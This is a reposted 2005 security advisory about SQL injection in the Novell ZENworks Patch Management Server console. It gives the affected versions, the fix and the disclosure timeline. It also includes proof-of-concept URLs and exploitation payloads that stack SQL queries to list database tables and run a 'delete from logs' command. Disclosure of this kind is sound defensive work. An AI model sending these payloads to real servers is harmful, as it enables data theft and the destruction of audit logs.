信息来源：
www.securiteam.com
Summary
ZENworks Suite "automates and enforces business and IT managment processes across the lifecycle of desktops, laptops, servers and handhelds to control costs, ensure security and compliance, optimize the value of IT assets across diverse server and client platforms".
The Novell ZENworks Patch Management Server is vulnerable to SQL injection in the management console.
Credit:
The information has been provided by Dennis Rand.
The original article can be found at:
http://www.cirt.dk/advisories/cirt-39-advisory.pdf
Details
Vulnerable Systems:
* Novell ZENworks Patch Management Server version 6.0.0.52
Immune Systems:
* Novell ZENworks Patch Management Server 6.2.2.181 or newer
Proof of Concept:
http://192.168.1.10/computers/default.asp?sort=&Direction=';
Response from server: Incorrect syntax near ', @RecsPerPage=100, @FirstRec=0, @Action=0, @Search = ', @groupFilter = '.
http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc &SearchText=';StatusFilter=ERRR &computerFilter=187&impactFilter=29&saveFilter=save&Page=rep
Response from server: Incorrecy syntax near ', @delimiter='.
http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc &SearchText=CIRT.DK &StatusFilter=';&computerFilter=187&impactFilter=29 &saveFilter=save&Page=rep
Response from server: Incorrect syntax near ', @groupFilter = ', @ImpactFilter = '.
http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc &SearchText=CIRT.DK &StatusFilter=ERRR&computerFilter=';&impactFilter=29 &saveFilter=save&Page=rep
Response from server: Line 1: Incorrect syntax near ', @Contact_ID='.
Exploitation examples:
http://192.168.1.10/computers/de ... p;Direction=;select *+from+testclient.master.dbo.sysobjects
http://192.168.1.10/computers/de ... p;Direction=;select *+from+OPENQUERY+(+[testclient],+"select+@@version;+delete+from+logs")
Server 'testclient' is not configured for DATA ACCESS. [2]
http://192.168.1.10/computers/de ... p;Direction=;SELECT name+FROM+sysobjects+WHERE+xtype+=+"U"
http://192.168.1.10/computers/de ... p;Direction=;select *+from+OPENQUERY+(+[testclient],+"select+@@version;+delete+from+logs")
Server 'testclient' is not configured for DATA ACCESS.
Solution:
Upgrade to ZENworks Patch Management version 6.2.2.181 (or newer hot fix via your PLUS server) found at
http://download.novell.com.
Timeline of public disclosure:
01-10-2005 Vulnerability discovered
11-10-2005 Research completed
12-10-2005 Sent information to Novell (
secure@novell.com)
12-10-2005 Information sent to CERT/CC (
cert@cert.org)
12-10-2005 CERT/CC responds with VU#536300
13-10-2005 Response from Novell
27-10-2005 Public Release
